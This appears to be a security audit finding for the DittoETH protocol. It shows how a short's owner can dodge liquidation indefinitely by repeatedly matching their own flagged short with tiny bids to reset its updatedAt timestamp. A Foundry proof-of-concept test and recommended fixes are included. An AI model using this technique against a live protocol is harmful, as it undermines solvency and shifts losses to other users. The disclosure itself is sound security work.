Summary
A manipulation of short.updatedAt by matching your flagged short repeatedly with a bid in a time period lower than 10 hours, makes your short non-primarily-liquidatable, even if you are at 150% CR, in a way that every short can do it easily and without consequences.
Vulnerability Details
When a short is flagged it adquires a short.flaggerId, from then on, the owner of the short has 10 hours to increase it's collateral ratio above primaryLiquidationCR levels.
The liquidate() checks if the 10h period has passed with the following code:
function _canLiquidate(MTypes.MarginCallPrimary memory m)
private
view
returns (bool)
{
if (m.cRatio < m.minimumCR) return true;
if (m.short.flaggerId == 0) {
revert Errors.ShortNotFlagged();
}
* Timeline:
*
* updatedAt (~0 hrs)
* ..
* [Errors.MarginCallIneligibleWindow]
* ..
* firstLiquidationTime (~10hrs, +10 hrs)
* ..
* [return msg.sender == short.flagger]
* ..
* secondLiquidationTime (~12hrs, +2 hrs)
* ..
* [return true (msg.sender is anyone)]
* ..
* resetLiquidationTime (~16hrs, +4 hrs)
* ..
* [return false (reset flag)]
*/
uint256 timeDiff = LibOrders.getOffsetTimeHours() - m.short.updatedAt;
uint256 resetLiquidationTime = LibAsset.resetLiquidationTime(m.asset);
if (timeDiff >= resetLiquidationTime) {
return false;
} else {
uint256 secondLiquidationTime = LibAsset.secondLiquidationTime(m.asset);
bool isBetweenFirstAndSecondLiquidationTime = timeDiff
> LibAsset.firstLiquidationTime(m.asset) && timeDiff <= secondLiquidationTime
&& s.flagMapping[m.short.flaggerId] == msg.sender;
bool isBetweenSecondAndResetLiquidationTime =
timeDiff > secondLiquidationTime && timeDiff <= resetLiquidationTime;
if (
!(
(isBetweenFirstAndSecondLiquidationTime)
|| (isBetweenSecondAndResetLiquidationTime)
)
) {
revert Errors.MarginCallIneligibleWindow();
}
return true;
}
}
As you can see, any call with a timeDiff between 0 and 10 hours will cause the liquidate() function to revert.
timeDiff is calculated as the following:
uint256 timeDiff = LibOrders.getOffsetTimeHours() - m.short.updatedAt;
What DittoETH doesn't account for, is that by creating bids that match the flagged short, it is possible to update the short.updatedAt to the current getOffsetTimeHours().
If every less than 10 hours the shorter owner matches it's own short, even with an insignificant amount of zETH, doesn't matter if the short is below primaryLiquidationCR (between 150% and 400%), the short cannot be liquidated.
POC
Update the imports at test/utils/MarginCallHelper.sol:
// From this
import {U256, Math128, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {Constants} from "contracts/libraries/Constants.sol";
- import {STypes, O, SR} from "contracts/libraries/DataTypes.sol";
import {Vault} from "contracts/libraries/Constants.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
import {TestTypes} from "test/utils/TestTypes.sol";
// To this
import {U256, Math128, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {Constants} from "contracts/libraries/Constants.sol";
+ import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol"; // Add MTypes
import {Vault} from "contracts/libraries/Constants.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
import {TestTypes} from "test/utils/TestTypes.sol";
+ import {Errors} from "contracts/libraries/Errors.sol"; // Import errors
+ import {console} from "contracts/libraries/console.sol"; // Import logging
Insert the following lines at test/utils/MarginCallHelper.sol, starting at line 83:
//flag
vm.startPrank(marginCaller);
diamond.flagShort(asset, shorter, Constants.SHORT_STARTING_ID, Constants.HEAD);
skipTimeAndSetEth({skipTime: TEN_HRS_PLUS, ethPrice: ethPrice});
+ // The subsequent code prevents anyone from liquidating the flagged short
+ MTypes.OrderHint[] memory orderHintArray = new MTypes.OrderHint[](1);
+ uint16[] memory shortHintArray = new uint16[](1);
+ orderHintArray[0] = MTypes.OrderHint({hintId: 101, creationTime: 123});
+ address attacker = sender;
+ depositEth(attacker, uint88(uint(1 ether).mul(1e18)));
+ vm.startPrank(attacker);
+ // First insignificant bid to create shortRecord over flagged short
+ diamond.createBid(
+ asset,
+ 0.001 ether,
+ 1e18,
+ true,
+ orderHintArray,
+ shortHintArray
+ );
+ // Second insignificant bid to modify short.updatedAt to current time
+ diamond.createBid(
+ asset,
+ 0.001 ether,
+ 1e18,
+ true,
+ orderHintArray,
+ shortHintArray
+ );
+ vm.stopPrank();
+ // Any liquidate call to this short will inevitably revert with MarginCallIneligibleWindow
+ vm.expectRevert(Errors.MarginCallIneligibleWindow.selector);
(m.gasFee, m.ethFilled) = diamond.liquidate(
asset, shorter, Constants.SHORT_STARTING_ID, shortHintArrayStorage
);
m.tappFee = m.ethFilled.mul(tappFeePct);
m.callerFee = m.ethFilled.mul(callerFeePct);
return (m);
}
Once copy pasted, run the following 2 commands:
forge test --mt testPrimaryFullLiquidateCratioScenario1FromShort -vvv
forge test --mt testPrimaryFullLiquidateCratioScenario1CalledByTappFromShort -vvv
Once you run each one, if you scroll up, you can see that the liquidate call reverts with MarginCallIneligibleWindow.
Impact
This would make DittoETH solvency and the price stability of pegged assets highly compromised, resulting in significant damage to the protocol.
Malicious shorters could have more than 3 times the same pegged asset by the same collateral than a normal position, resulting in a loss in protocol credibility, robustness and augmenting overall tail risk.
Tools Used
Manual Review and Foundry.
Recommendations
There's 2 options:
If a short is flagged, it cannot be bought.
Minimum bid over a short should be a significant % of the short collateral.
